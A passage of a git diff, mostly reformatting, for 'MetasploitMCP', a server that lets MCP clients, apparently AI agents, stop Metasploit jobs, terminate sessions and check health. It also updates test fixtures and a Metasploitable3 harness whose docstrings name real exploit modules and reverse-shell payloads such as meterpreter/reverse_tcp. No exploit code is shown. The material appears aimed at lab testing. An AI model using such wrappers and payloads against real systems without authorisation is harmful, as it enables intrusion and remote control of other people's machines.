dict): - job_name = jobs_before[job_id_str].get('name', 'Unknown Job') + job_name = jobs_before[job_id_str].get("name", "Unknown Job") # Attempt to stop the job logger.debug(f"Calling jobs.stop({job_id_str})") @@ -4762,28 +5298,32 @@ async def stop_job(job_id: int) -> Dict[str, Any]: logger.debug(f"jobs.stop() API call returned: {stop_result_str}") # Verify job stopped by checking list again - await asyncio.sleep(1.0) # Give MSF time to process stop + await asyncio.sleep(1.0) # Give MSF time to process stop jobs_after = await asyncio.to_thread(lambda: client.jobs.list) job_stopped = job_id_str not in jobs_after if job_stopped: - logger.info(f"Successfully stopped job {job_id} ('{job_name}') - verified by disappearance") + logger.info( + f"Successfully stopped job {job_id} ('{job_name}') - verified by disappearance" + ) return { "status": "success", "message": f"Successfully stopped job {job_id} ('{job_name}')", "job_id": job_id, "job_name": job_name, - "api_result": stop_result_str + "api_result": stop_result_str, } else: # Job didn't disappear. The API result string might give a hint, but is unreliable. - logger.error(f"Failed to stop job {job_id}. Job still present after stop attempt. API result: '{stop_result_str}'") + logger.error( + f"Failed to stop job {job_id}. Job still present after stop attempt. API result: '{stop_result_str}'" + ) return { "status": "error", "message": f"Failed to stop job {job_id}. Job may still be running. API result: '{stop_result_str}'", "job_id": job_id, "job_name": job_name, - "api_result": stop_result_str + "api_result": stop_result_str, } except MsfRpcError as e: @@ -4793,58 +5333,59 @@ async def stop_job(job_id: int) -> Dict[str, Any]: logger.exception(f"Unexpected error stopping job {job_id}.") return {"status": "error", "message": f"Unexpected server error stopping job {job_id}: {e}"} + @mcp.tool() async def kill_all_handler_jobs() -> Dict[str, Any]: """ Kill all active handler jobs (exploit/multi/handler). Useful for cleaning up after failed exploits or test runs. - + Returns: Dictionary with status, count of killed jobs, and details. """ client = get_msf_client() logger.info("Killing all handler jobs to release ports") - + try: # Get all active jobs jobs = await asyncio.to_thread(lambda: client.jobs.list) - + if not jobs: logger.info("No active jobs to kill") return { "status": "success", "message": "No active jobs found", "handlers_killed": 0, - "total_jobs": 0 + "total_jobs": 0, } - + logger.info(f"Found {len(jobs)} active job(s)") - + # Find handler jobs handler_jobs = {} for job_id, job_info in jobs.items(): if isinstance(job_info, dict): - job_name = job_info.get('name', '').lower() + job_name = job_info.get("name", "").lower() # Check if it's a handler job - if 'exploit/multi/handler' in job_name or 'handler' in job_name: + if "exploit/multi/handler" in job_name or "handler" in job_name: handler_jobs[job_id] = job_info logger.debug(f"Found handler job {job_id}: {job_info.get('name')}") - + if not handler_jobs: logger.info("No handler jobs found") return { "status": "success", "message": f"No handler jobs found among {len(jobs)} active job(s)", "handlers_killed": 0, - "total_jobs": len(jobs) + "total_jobs": len(jobs), } - + logger.info(f"Found {len(handler_jobs)} handler job(s) to kill") - + # Kill each handler job killed_count = 0 failed_jobs = [] - + for job_id in handler_jobs.keys(): try: logger.info(f"Killing handler job {job_id}...") @@ -4854,25 +5395,27 @@ async def kill_all_handler_jobs() -> Dict[str, Any]: except Exception as e: logger.warning(f"Failed to kill handler job {job_id}: {e}") failed_jobs.append({"job_id": job_id, "error": str(e)}) - + # Verify jobs are gone await asyncio.sleep(1.0) jobs_after = await asyncio.to_thread(lambda: client.jobs.list) - + still_running = [] for job_id in handler_jobs.keys(): if job_id in jobs_after: still_running.append(job_id) - + if still_running: - logger.warning(f"{len(still_running)} handler job(s) still running after kill attempt: {still_running}") - + logger.warning( + f"{len(still_running)} handler job(s) still running after kill attempt: {still_running}" + ) + result_message = f"Killed {killed_count}/{len(handler_jobs)} handler job(s)" if failed_jobs: result_message += f", {len(failed_jobs)} failed" if still_running: result_message += f", {len(still_running)} still running" - + return { "status": "success" if killed_count > 0 else "warning", "message": result_message, @@ -4880,34 +5423,35 @@ async def kill_all_handler_jobs() -> Dict[str, Any]: "handlers_found": len(handler_jobs), "total_jobs": len(jobs), "failed": failed_jobs if failed_jobs else [], - "still_running": still_running if still_running else [] + "still_running": still_running if still_running else [], } - + except Exception as e: logger.exception("Error killing handler jobs") return { "status": "error", "message": f"Error killing handler jobs: {e}", - "handlers_killed": 0 + "handlers_killed": 0, } + @mcp.tool() async def terminate_session(session_id: int, kill_associated_job: bool = True) -> Dict[str, Any]: """ Forcefully terminate a Metasploit session using the session.stop() method. Optionally kills the associated handler job to release ports. - + Args: session_id: ID of the session to terminate. kill_associated_job: If True, also kill the handler job that created this session (default: True). - + Returns: Dictionary with status and result message. """ client = get_msf_client() session_id_str = str(session_id) logger.info(f"Terminating session {session_id} (kill_associated_job={kill_associated_job})") - + # Acquire per-session lock so we don't terminate while a command is running session_lock = await _get_session_lock(session_id_str) try: @@ -4932,42 +5476,44 @@ async def terminate_session(session_id: int, kill_associated_job: bool = True) - logger.error(f"Session {session_id} not found.") await _cleanup_session_lock(session_id_str) return {"status": "error", "message": f"Session {session_id} not found."} - + session_info = current_sessions[session_id_str] logger.debug(f"Session {session_id} info: {session_info}") - + # Try to find the associated job ID from session info # Sessions created by handlers typically have via_exploit and via_payload info associated_job_id = None if isinstance(session_info, dict): # Check if there's a job_id field (not always present) - associated_job_id = session_info.get('job_id') - + associated_job_id = session_info.get("job_id") + # Get a handle to the session session = await _get_session_object_from_map( client=client, sessions_by_str_id=current_sessions, session_id_str=session_id_str, ) - + # Stop the session await asyncio.to_thread(lambda: session.stop()) - + # Verify termination await asyncio.sleep(1.0) # Give MSF time to process termination current_sessions_after = await _list_sessions_str_keys(client) - + session_terminated = session_id_str not in current_sessions_after result_messages = [] - + if session_terminated: logger.info(f"Successfully terminated session {session_id}") result_messages.append(f"Session {session_id} terminated successfully") await _cleanup_session_lock(session_id_str) else: - logger.warning(f"Session {session_id} still appears in the sessions list after termination attempt.") + logger.warning( + f"Session {session_id} still appears in the sessions list after termination attempt." + ) result_messages.append(f"Session {session_id} may not have been terminated properly") - + # Kill associated handler job if requested jobs_killed = 0 if kill_associated_job: @@ -4975,10 +5521,12 @@ async def terminate_session(session_id: int, kill_associated_job: bool = True) - # Get all active jobs jobs = await asyncio.to_thread(lambda: client.jobs.list) logger.debug(f"Active jobs: {list(jobs.keys())}") - + # If we have a specific job_id, try to kill it if associated_job_id and str(associated_job_id) in jobs: - logger.info(f"Killing associated job {associated_job_id} for session {session_id}") + logger.info( + f"Killing associated job {associated_job_id} for session {session_id}" + ) try: await asyncio.to_thread(lambda: client.jobs.stop(str(associated_job_id))) await asyncio.sleep(0.5) # Give time to stop @@ -4991,66 +5539,82 @@ async def terminate_session(session_id: int, kill_associated_job: bool = True) - # Look for multi/handler jobs (these are typically the listener jobs) for job_id, job_info in jobs.items(): if isinstance(job_info, dict): - job_name = job_info.get('name', '').lower() + job_name = job_info.get("name", "").lower() # Check if it's a handler job - if 'exploit/multi/handler' in job_name or 'handler' in job_name: + if "exploit/multi/handler" in job_name or "handler" in job_name: logger.info(f"Found potential handler job {job_id}: {job_name}") # Note: We can't easily determine which handler is for which session # So we log it but don't automatically kill it unless we're sure # The user can manually kill all handlers with stop_job or list_listeners - + if jobs_killed > 0: logger.info(f"Killed {jobs_killed} associated job(s)") elif associated_job_id is None: - logger.debug(f"No specific job_id found for session {session_id}, job may have already stopped") - + logger.debug( + f"No specific job_id found for session {session_id}, job may have already stopped" + ) + except Exception as job_cleanup_e: - logger.warning(f"Error during job cleanup for session {session_id}: {job_cleanup_e}") - result_messages.append(f"Warning: Could not clean up associated jobs: {job_cleanup_e}") - + logger.warning( + f"Error during job cleanup for session {session_id}: {job_cleanup_e}" + ) + result_messages.append( + f"Warning: Could not clean up associated jobs: {job_cleanup_e}" + ) + if session_terminated: return { - "status": "success", + "status": "success", "message": ". ".join(result_messages) + ".", "session_id": session_id, - "jobs_killed": jobs_killed + "jobs_killed": jobs_killed, } else: return { - "status": "warning", + "status": "warning", "message": ". ".join(result_messages) + ".", "session_id": session_id, - "jobs_killed": jobs_killed + "jobs_killed": jobs_killed, } - + except MsfRpcError as e: logger.error(f"MsfRpcError terminating session {session_id}: {e}") return {"status": "error", "message": f"Error terminating session {session_id}: {e}"} except Exception as e: logger.exception(f"Unexpected error terminating session {session_id}") - return {"status": "error", "message": f"Unexpected error terminating session {session_id}: {e}"} + return { + "status": "error", + "message": f"Unexpected error terminating session {session_id}: {e}", + } finally: session_lock.release() + # --- Health Check --- # Add both MCP tool and HTTP endpoint for health checking + @mcp.tool() async def health_check() -> Dict[str, Any]: """Check connectivity to the Metasploit RPC service (MCP tool version).""" try: - client = get_msf_client() # Will raise ConnectionError if not init - logger.debug(f"Executing health check MSF call (core.version) with {RPC_CALL_TIMEOUT}s timeout...") + client = get_msf_client() # Will raise ConnectionError if not init + logger.debug( + f"Executing health check MSF call (core.version) with {RPC_CALL_TIMEOUT}s timeout..." + ) # Use a lightweight call like core.version version_info = await asyncio.wait_for( - asyncio.to_thread(lambda: client.core.version), - timeout=RPC_CALL_TIMEOUT + asyncio.to_thread(lambda: client.core.version), timeout=RPC_CALL_TIMEOUT + ) + msf_version = ( + version_info.get("version", "N/A") if isinstance(version_info, dict) else "N/A" ) - msf_version = version_info.get('version', 'N/A') if isinstance(version_info, dict) else 'N/A' logger.info(f"Health check successful. MSF Version: {msf_version}") return {"status": "ok", "msf_version": msf_version} except asyncio.TimeoutError: - error_msg = f"Health check timeout ({RPC_CALL_TIMEOUT}s) - Metasploit server is not responding" + error_msg = ( + f"Health check timeout ({RPC_CALL_TIMEOUT}s) - Metasploit server is not responding" + ) logger.error(error_msg) return {"status": "error", "message": error_msg} except (MsfRpcError, ConnectionError) as e: @@ -5065,98 +5629,117 @@ async def health_check() -> Dict[str, Any]: from starlette.requests import Request from starlette.responses import JSONResponse + @mcp.custom_route("/health", methods=["GET"]) async def http_health_endpoint(request: Request) -> JSONResponse: """HTTP health check endpoint for Docker and monitoring systems""" try: client = get_msf_client() logger.debug("HTTP health check: Testing MSF RPC connection...") - + # Use a lightweight call like core.version version_info = await asyncio.wait_for( - asyncio.to_thread(lambda: client.core.version), - timeout=RPC_CALL_TIMEOUT + asyncio.to_thread(lambda: client.core.version), timeout=RPC_CALL_TIMEOUT + ) + + msf_version = ( + version_info.get("version", "N/A") if isinstance(version_info, dict) else "N/A" ) - - msf_version = version_info.get('version', 'N/A') if isinstance(version_info, dict) else 'N/A' logger.debug(f"HTTP health check successful. MSF Version: {msf_version}") - - return JSONResponse({ - "status": "healthy", - "service": "MetasploitMCP", - "msf_version": msf_version, - "msf_server": f"{MSF_SERVER}:{MSF_PORT_STR}", - "ssl": MSF_SSL_STR == 'true' - }, status_code=200) - + + return JSONResponse( + { + "status": "healthy", + "service": "MetasploitMCP", + "msf_version": msf_version, + "msf_server": f"{MSF_SERVER}:{MSF_PORT_STR}", + "ssl": MSF_SSL_STR == "true", + }, + status_code=200, + ) + except asyncio.TimeoutError: - error_msg = f"Health check timeout ({RPC_CALL_TIMEOUT}s) - Metasploit server is not responding" + error_msg = ( + f"Health check timeout ({RPC_CALL_TIMEOUT}s) - Metasploit server is not responding" + ) logger.error(error_msg) - return JSONResponse({ - "status": "unhealthy", - "service": "MetasploitMCP", - "error": error_msg - }, status_code=503) - + return JSONResponse( + {"status": "unhealthy", "service": "MetasploitMCP", "error": error_msg}, status_code=503 + ) + except (MsfRpcError, ConnectionError) as e: logger.error(f"HTTP health check failed - MSF RPC connection error: {e}") - return JSONResponse({ - "status": "unhealthy", - "service": "MetasploitMCP", - "error": f"Metasploit Service Unavailable: {str(e)}" - }, status_code=503) - + return JSONResponse( + { + "status": "unhealthy", + "service": "MetasploitMCP", + "error": f"Metasploit Service Unavailable: {str(e)}", + }, + status_code=503, + ) + except Exception as e: logger.exception("Unexpected error during HTTP health check") - return JSONResponse({ - "status": "unhealthy", - "service": "MetasploitMCP", - "error": f"Internal Server Error: {str(e)}" - }, status_code=500) + return JSONResponse( + { + "status": "unhealthy", + "service": "MetasploitMCP", + "error": f"Internal Server Error: {str(e)}", + }, + status_code=500, + ) @mcp.custom_route("/", methods=["GET"]) async def http_root_endpoint(request: Request) -> JSONResponse: """Root endpoint with service information""" - return JSONResponse({ - "service": "MetasploitMCP", - "version": "2.0.0", - "description": "Metasploit Framework MCP Server", - "mcp_endpoint": "/mcp", - "health_endpoint": "/health", - "status": "running", - "msf_server": f"{MSF_SERVER}:{MSF_PORT_STR}" - }) + return JSONResponse( + { + "service": "MetasploitMCP", + "version": "2.0.0", + "description": "Metasploit Framework MCP Server", + "mcp_endpoint": "/mcp", + "health_endpoint": "/health", + "status": "running", + "msf_server": f"{MSF_SERVER}:{MSF_PORT_STR}", + } + ) # --- Server Startup Logic --- -async def check_port_available(port: int, host: str = '0.0.0.0') -> Tuple[bool, str]: + +async def check_port_available(port: int, host: str = "0.0.0.0") -> Tuple[bool, str]: """ Check if a port is available to bind to. - + Args: port: Port number to check host: Host/interface to check (default: 0.0.0.0 for all interfaces) - + Returns: Tuple of (is_available, error_message). If available, error_message is empty. """ if not (1 <= port <= 65535): return False, f"Invalid port {port}. Must be between 1 and 65535." - + # First, check all connections using psutil to detect all connection states # (LISTEN, ESTABLISHED, TIME_WAIT, CLOSE_WAIT, etc.) # Run psutil in executor as it can be slow loop = asyncio.get_event_loop() try: - connections = await loop.run_in_executor(None, psutil.net_connections, 'inet') + connections = await loop.run_in_executor(None, psutil.net_connections, "inet") for conn in connections: if conn.laddr and conn.laddr.port == port: # Port is in use (any state: LISTEN, ESTABLISHED, etc.) - logger.debug(f"Port {port} in use by connection: {conn.status} " - f"local={conn.laddr} remote={conn.raddr}") - return False, f"Port {port} is already in use by connection: {conn.status} local={conn.laddr} remote={conn.raddr}" + logger.debug( + f"Port {port} in use by connection: {conn.status} " + f"local={conn.laddr} remote={conn.raddr}" + ) + return ( + False, + f"Port {port} is already in use by connection: {conn.status} local={conn.laddr} remote={conn.raddr}", + ) except (psutil.AccessDenied, psutil.NoSuchProcess, OSError) as e: # If psutil fails (permission issues), fall through to socket check logger.warning(f"psutil check failed for port {port}: {e}, falling back to socket check") @@ -5178,7 +5761,7 @@ def _check_socket_bind(): error_msg = f"Error checking port {port} availability: {e}" logger.error(error_msg) return False, error_msg - + try: return await loop.run_in_executor(None, _check_socket_bind) except Exception as e: @@ -5186,7 +5769,8 @@ def _check_socket_bind(): logger.error(error_msg) return False, error_msg -def find_available_port(start_port, host='127.0.0.1', max_attempts=10): + +def find_available_port(start_port, host="127.0.0.1", max_attempts=10): """Finds an available TCP port.""" for port in range(start_port, start_port + max_attempts): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: @@ -5197,20 +5781,23 @@ def find_available_port(start_port, host='127.0.0.1', max_attempts=10): except socket.error: logger.debug(f"Port {port} on {host} is in use, trying next.") continue - logger.warning(f"Could not find available port in range {start_port}-{start_port+max_attempts-1} on {host}. Using default {start_port}.") + logger.warning( + f"Could not find available port in range {start_port}-{start_port+max_attempts-1} on {host}. Using default {start_port}." + ) return start_port + def get_local_ip_addresses() -> List[str]: """ Get all configured IP addresses on the local machine. Returns a list of IP address strings (both IPv4 and IPv6). """ ip_addresses = [] - + try: # Get all network interfaces and their addresses import socket - + # Method 1: Use socket.getaddrinfo to get local addresses # This gets the hostname and resolves all its addresses hostname = socket.gethostname() @@ -5221,71 +5808,76 @@ def get_local_ip_addresses() -> List[str]: ip_addresses.append(addr) except socket.gaierror: logger.debug("Could not resolve hostname addresses") - + # Method 2: Try to connect to a remote address to discover local IPs # This helps find the actual routable local IPs test_addresses = [ - ('8.8.8.8', 80), # Google DNS (IPv4) - ('2001:4860:4860::8888', 80) # Google DNS (IPv6) + ("8.8.8.8", 80), # Google DNS (IPv4) + ("2001:4860:4860::8888", 80), # Google DNS (IPv6) ] - + for test_addr, test_port in test_addresses: try: - with socket.socket(socket.AF_INET6 if ':' in test_addr else socket.AF_INET, socket.SOCK_DGRAM) as s: + with socket.socket( + socket.AF_INET6 if ":" in test_addr else socket.AF_INET, socket.SOCK_DGRAM + ) as s: s.connect((test_addr, test_port)) local_addr = s.getsockname()[0] if local_addr not in ip_addresses: ip_addresses.append(local_addr) except (socket.error, OSError): continue - + # Always include loopback addresses - loopback_addresses = ['127.0.0.1', '::1'] + loopback_addresses = ["127.0.0.1", "::1"] for addr in loopback_addresses: if addr not in ip_addresses: ip_addresses.append(addr) - + logger.debug(f"Discovered local IP addresses: {ip_addresses}") return ip_addresses - + except Exception as e: logger.warning(f"Error discovering local IP addresses: {e}") # Fallback to basic loopback addresses - return ['127.0.0.1', '::1'] + return ["127.0.0.1", "::1"] + def _validate_bind_address_sync(bind_address: str) -> Tuple[bool, str]: """ Synchronous implementation of bind address validation. This does socket operations and should be called via asyncio.to_thread(). - + Args: bind_address: The IP address to validate - + Returns: Tuple of (is_valid, error_message). If valid, error_message is empty. """ if not bind_address: return False, "Bind address cannot be empty" - + try: # Parse the address to ensure it's a valid IP addr_obj = ipaddress.ip_address(bind_address) - + # Check if it's a wildcard address (0.0.0.0 or ::) if addr_obj.is_unspecified: return True, "" - + # Get all local IP addresses (this does socket operations) local_ips = get_local_ip_addresses() - + # Check if the bind address is one of the local IPs if bind_address in local_ips: return True, "" - + # If we get here, it's not a wildcard and not a local IP - return False, (f"Bind address '{bind_address}' is not a wildcard address (0.0.0.0 or ::) " - f"and is not configured on this machine. Available addresses: {', '.join(local_ips)}") - + return False, ( + f"Bind address '{bind_address}' is not a wildcard address (0.0.0.0 or ::) " + f"and is not configured on this machine. Available addresses: {', '.join(local_ips)}" + ) + except ValueError as e: return False, f"Invalid IP address format: {bind_address} ({e})" @@ -5295,10 +5887,10 @@ async def validate_bind_address(bind_address: str) -> Tuple[bool, str]: Validate that a bind address is either a wildcard address or a configured local IP. This is an async function that runs the validation in a thread pool to avoid blocking the event loop during socket operations. - + Args: bind_address: The IP address to validate - + Returns: Tuple of (is_valid, error_message). If valid, error_message is empty. """ @@ -5307,4 +5899,5 @@ async def validate_bind_address(bind_address: str) -> Tuple[bool, str]: if __name__ == "__main__": from . import main + main() diff --git a/tests/__init__.py b/tests/__init__.py index 9f3b407..2bc6d8c 100644 --- a/tests/__init__.py +++ b/tests/__init__.py @@ -1 +1,18 @@ # Test package for MetasploitMCP + + +class MockMsfRpcError(Exception): + """Canonical mock of ``pymetasploit3.msfrpc.MsfRpcError`` shared by the + whole test suite. + + Historically each test module defined its own ``MockMsfRpcError`` and + replaced ``sys.modules['pymetasploit3.msfrpc']`` at import time, so the + exception class identity depended on test-collection order. ``server.py`` + resolves ``except MsfRpcError`` against its module global at runtime, so a + mismatched class meant errors weren't caught as expected and tests failed + only when run together. Centralising one class here (and re-asserting it + before every test via the ``conftest`` autouse fixture) keeps the identity + stable regardless of collection order. + """ + + pass diff --git a/tests/conftest.py b/tests/conftest.py index dc60a4b..f85fc99 100644 --- a/tests/conftest.py +++ b/tests/conftest.py @@ -8,30 +8,51 @@ import os from unittest.mock import Mock, patch +from tests import MockMsfRpcError + # Add the project root to Python path sys.path.insert(0, os.path.dirname(__file__)) + def pytest_configure(config): """Configure pytest with custom settings.""" # Mock external dependencies that might not be available during testing - # We only mock pymetasploit3 since other dependencies (fastmcp, uvicorn, etc.) + # We only mock pymetasploit3 since other dependencies (fastmcp, uvicorn, etc.) # are now proper installed dependencies - - # Create proper exception class for MsfRpcError - class MockMsfRpcError(Exception): - """Mock MSF RPC error that properly inherits from Exception.""" - pass - - # Create mock module with proper exception class + + # Create mock module with the canonical MsfRpcError exception class mock_msfrpc = Mock() mock_msfrpc.MsfRpcError = MockMsfRpcError mock_msfrpc.MsfRpcClient = Mock mock_msfrpc.MsfConsole = Mock - - if 'pymetasploit3.msfrpc' not in sys.modules: - sys.modules['pymetasploit3.msfrpc'] = mock_msfrpc - if 'pymetasploit3' not in sys.modules: - sys.modules['pymetasploit3'] = Mock(msfrpc=mock_msfrpc) + + if "pymetasploit3.msfrpc" not in sys.modules: + sys.modules["pymetasploit3.msfrpc"] = mock_msfrpc + if "pymetasploit3" not in sys.modules: + sys.modules["pymetasploit3"] = Mock(msfrpc=mock_msfrpc) + + +@pytest.fixture(autouse=True) +def _stable_msf_error(): + """Keep a single, stable ``MsfRpcError`` class across the server module and + the mocked ``pymetasploit3.msfrpc``. + + Several test modules replace ``sys.modules['pymetasploit3.msfrpc']`` at + import time with their own mock (and historically their own error class), + so by the time tests run the class identity could differ from the one + ``metasploit_mcp.server`` captured at import. Since ``except MsfRpcError`` + is resolved against the server module's globals at runtime, we re-assert the + canonical class on both sides before every test. This makes error-handling + tests deterministic regardless of collection order. + """ + msfrpc = sys.modules.get("pymetasploit3.msfrpc") + if msfrpc is not None: + msfrpc.MsfRpcError = MockMsfRpcError + server = sys.modules.get("metasploit_mcp.server") + if server is not None: + server.MsfRpcError = MockMsfRpcError + yield + def pytest_collection_modifyitems(config, items): """Modify test collection to add markers automatically.""" @@ -39,23 +60,24 @@ def pytest_collection_modifyitems(config, items): # Add unit marker to test_options_parsing and test_helpers if "test_options_parsing" in item.nodeid or "test_helpers" in item.nodeid: item.add_marker(pytest.mark.unit) - + # Add integration marker to integration tests if "test_tools_integration" in item.nodeid: item.add_marker(pytest.mark.integration) - + # Mark network tests if "network" in item.name.lower(): item.add_marker(pytest.mark.network) - + # Mark slow tests if any(keyword in item.name.lower() for keyword in ["slow", "timeout", "long"]): item.add_marker(pytest.mark.slow) + @pytest.fixture(scope="session") def mock_msf_environment(): """Session-scoped fixture that provides a complete mock MSF environment.""" - + class MockMsfRpcClient: def __init__(self): self.modules = Mock() @@ -63,103 +85,110 @@ def __init__(self): self.sessions = Mock() self.jobs = Mock() self.consoles = Mock() - + # Default return values - self.core.version = {'version': '6.3.0'} + self.core.version = {"version": "6.3.0"} self.modules.exploits = [] self.modules.payloads = [] self.sessions.list.return_value = {} self.jobs.list.return_value = {} - + class MockMsfConsole: - def __init__(self, cid='test-console'): + def __init__(self, cid="test-console"): self.cid = cid - + def read(self): - return {'data': '', 'prompt': 'msf6 > ', 'busy': False} - + return {"data": "", "prompt": "msf6 > ", "busy": False} + def write(self, command): return True - + class MockMsfRpcError(Exception): pass - + # Apply mocks - with patch.dict('sys.modules', { - 'pymetasploit3.msfrpc': Mock( - MsfRpcClient=MockMsfRpcClient, - MsfConsole=MockMsfConsole, - MsfRpcError=MockMsfRpcError - ) - }): + with patch.dict( + "sys.modules", + { + "pymetasploit3.msfrpc": Mock( + MsfRpcClient=MockMsfRpcClient, + MsfConsole=MockMsfConsole, + MsfRpcError=MockMsfRpcError, + ) + }, + ): yield { - 'client_class': MockMsfRpcClient, - 'console_class': MockMsfConsole, - 'error_class': MockMsfRpcError + "client_class": MockMsfRpcClient, + "console_class": MockMsfConsole, + "error_class": MockMsfRpcError, } + @pytest.fixture def mock_logger(): """Fixture providing a mock logger.""" - with patch('metasploit_mcp.server.logger') as mock_log: + with patch("metasploit_mcp.server.logger") as mock_log: yield mock_log -@pytest.fixture + +@pytest.fixture def temp_payload_dir(tmp_path): """Fixture providing a temporary directory for payload saves.""" payload_dir = tmp_path / "payloads" payload_dir.mkdir() - - with patch('metasploit_mcp.server.PAYLOAD_SAVE_DIR', str(payload_dir)): + + with patch("metasploit_mcp.server.PAYLOAD_SAVE_DIR", str(payload_dir)): yield str(payload_dir) + @pytest.fixture def mock_asyncio_to_thread(): """Fixture to mock asyncio.to_thread for testing.""" + async def mock_to_thread(func, *args, **kwargs): return func(*args, **kwargs) - - with patch('asyncio.to_thread', side_effect=mock_to_thread): + + with patch("asyncio.to_thread", side_effect=mock_to_thread): yield + @pytest.fixture def capture_logs(caplog): """Fixture to capture and provide log output.""" import logging + caplog.set_level(logging.DEBUG) return caplog + # Command line options def pytest_addoption(parser): """Add custom command line options.""" - parser.addoption( - "--run-slow", - action="store_true", - default=False, - help="Run slow tests" - ) + parser.addoption("--run-slow", action="store_true", default=False, help="Run slow tests") parser.addoption( "--run-network", action="store_true", default=False, - help="Run tests that require network access" + help="Run tests that require network access", ) + def pytest_runtest_setup(item): """Setup hook to skip tests based on markers and options.""" if "slow" in item.keywords and not item.config.getoption("--run-slow"): pytest.skip("Skipping slow test (use --run-slow to run)") - + if "network" in item.keywords and not item.config.getoption("--run-network"): pytest.skip("Skipping network test (use --run-network to run)") + # Test environment setup @pytest.fixture(autouse=True) def reset_msf_client(): """Automatically reset the global MSF client between tests.""" # Only patch if MetasploitMCP is already imported - if 'metasploit_mcp.server' in sys.modules: - with patch.object(sys.modules['metasploit_mcp.server'], '_msf_client_instance', None): + if "metasploit_mcp.server" in sys.modules: + with patch.object(sys.modules["metasploit_mcp.server"], "_msf_client_instance", None): yield else: yield diff --git a/tests/harness.py b/tests/harness.py index 768f4de..d077d26 100755 --- a/tests/harness.py +++ b/tests/harness.py @@ -28,8 +28,7 @@ # --- Configuration --- logging.basicConfig( - level=logging.INFO, - format='%(asctime)s - %(name)s - %(levelname)s - %(message)s' + level=logging.INFO, format="%(asctime)s - %(name)s - %(levelname)s - %(message)s" ) logger = logging.getLogger("metasploitable3_harness") @@ -37,6 +36,7 @@ @dataclass class ExploitTest: """Represents a single exploit test case.""" + name: str description: str module: str @@ -50,6 +50,7 @@ class ExploitTest: @dataclass class TestResult: """Results of a single exploit test.""" + test_name: str success: bool session_id: Optional[int] = None @@ -60,118 +61,121 @@ class TestResult: class MetasploitMCPClient: """MCP client for interacting with MetasploitMCP server using proper MCP SDK.""" - + def __init__(self, mcp_url: str = "http://127.0.0.1:8085", use_gateway: bool = False): """Initialize real MCP client. - + Args: mcp_url: Base URL of the MetasploitMCP server or ExploitMCP gateway use_gateway: If True, assumes connecting to ExploitMCP gateway (prefixes tool names with metasploit_) """ - self.mcp_url = mcp_url.rstrip('/') + self.mcp_url = mcp_url.rstrip("/") self.use_gateway = use_gateway - + # Gateway prefixes tool names with "metasploit_" self.tool_prefix = "metasploit_" if use_gateway else "" - + # Create proper MCP client with MultiServerMCPClient # It expects a dict of server_name -> config tools_config = { "metasploit": { "url": self.mcp_url, - "transport": "streamable_http" # FastMCP uses streamable_http transport + "transport": "streamable_http", # FastMCP uses streamable_http transport } } - + self.client = MultiServerMCPClient(tools_config) self._tools = None - + server_type = "ExploitMCP Gateway" if use_gateway else "MetasploitMCP Server" logger.info(f"Initialized real MCP client for {server_type}: {self.mcp_url}") logger.info(f"Tool prefix: '{self.tool_prefix}'") - + async def close(self): """Close the MCP client.""" # MultiServerMCPClient cleanup handled automatically pass - + async def _ensure_tools_loaded(self): """Ensure tools are loaded from MCP server.""" if self._tools is None: logger.debug("Loading tools from MCP server...") self._tools = await self.client.get_tools() logger.debug(f"Loaded {len(self._tools)} tools") - + async def call_tool(self, tool_name: str, arguments: Dict[str, Any]) -> Dict[str, Any]: """Call an MCP tool using the real MCP client. - + Args: tool_name: Name of the tool to call arguments: Tool arguments - + Returns: Tool response data - + Raises: Exception: If the tool call fails """ # Apply tool prefix if using gateway actual_tool_name = f"{self.tool_prefix}{tool_name}" - - logger.debug(f"Calling tool: {tool_name} (actual: {actual_tool_name}) with args: {arguments}") - + + logger.debug( + f"Calling tool: {tool_name} (actual: {actual_tool_name}) with args: {arguments}" + ) + try: # Ensure tools are loaded await self._ensure_tools_loaded() - + # Find the tool tool = None for t in self._tools: if t.name == actual_tool_name: tool = t break - + if not tool: available_tools = [t.name for t in self._tools] - raise Exception(f"Tool '{actual_tool_name}' not found. Available: {available_tools[:5]}") - + raise Exception( + f"Tool '{actual_tool_name}' not found. Available: {available_tools[:5]}" + ) + logger.debug(f"Invoking tool via MCP client...") - + # Use the real MCP client to invoke the tool result = await tool.ainvoke(arguments) - + logger.debug(f"Tool response: {result[:200] if isinstance(result, str) else result}") - + return {"success": True, "data": result} - + except Exception as e: logger.error(f"Error calling tool {tool_name}: {e}", exc_info=True) raise - + async def list_exploits(self, search_term: str = "", platform_filter: str = "") -> str: """List available exploits.""" - return await self.call_tool("list_exploits", { - "search_term": search_term, - "platform_filter": platform_filter - }) - + return await self.call_tool( + "list_exploits", {"search_term": search_term, "platform_filter": platform_filter} + ) + async def run_exploit( self, module_name: str, options: Dict[str, Any], payload_name: str, payload_options: Optional[Dict[str, Any]] = None, - run_as_job: bool = False + run_as_job: bool = False, ) -> Dict[str, Any]: """Run an exploit module. - + Args: module_name: Metasploit module path (e.g., "exploit/unix/ftp/proftpd_modcopy_exec") options: Module options (RHOSTS, RPORT, etc. - NOT including LHOST/LPORT) payload_name: Payload to use (e.g., "payload/unix/reverse_perl" or "unix/reverse_perl") payload_options: Payload options (LHOST, LPORT, etc.) run_as_job: If True, run as background job; if False, run via console (default: False) - + Returns: Exploit execution result """ @@ -179,71 +183,61 @@ async def run_exploit( "module_name": module_name, "options": options, "payload_name": payload_name, - "run_as_job": run_as_job + "run_as_job": run_as_job, } if payload_options: tool_args["payload_options"] = payload_options - + return await self.call_tool("run_exploit", tool_args) - + async def list_sessions(self) -> Dict[str, Any]: """List active sessions.""" return await self.call_tool("list_active_sessions", {}) - + async def send_session_command(self, session_id: int, command: str) -> Dict[str, Any]: """Send a command to an active session. - + Args: session_id: Session ID to send command to command: Command to execute - + Returns: Command output """ - return await self.call_tool("send_session_command", { - "session_id": session_id, - "command": command - }) - - async def start_listener( - self, - payload_type: str, - lhost: str, - lport: int - ) -> Dict[str, Any]: + return await self.call_tool( + "send_session_command", {"session_id": session_id, "command": command} + ) + + async def start_listener(self, payload_type: str, lhost: str, lport: int) -> Dict[str, Any]: """Start a reverse handler/listener. - + Args: payload_type: Payload type (e.g., "windows/meterpreter/reverse_tcp") lhost: Local host to listen on lport: Local port to listen on - + Returns: Listener job information """ - return await self.call_tool("start_listener", { - "payload_type": payload_type, - "lhost": lhost, - "lport": lport - }) - + return await self.call_tool( + "start_listener", {"payload_type": payload_type, "lhost": lhost, "lport": lport} + ) + async def terminate_session(self, session_id: int) -> Dict[str, Any]: """Terminate an active session. - + Args: session_id: Session ID to terminate - + Returns: Termination result """ - 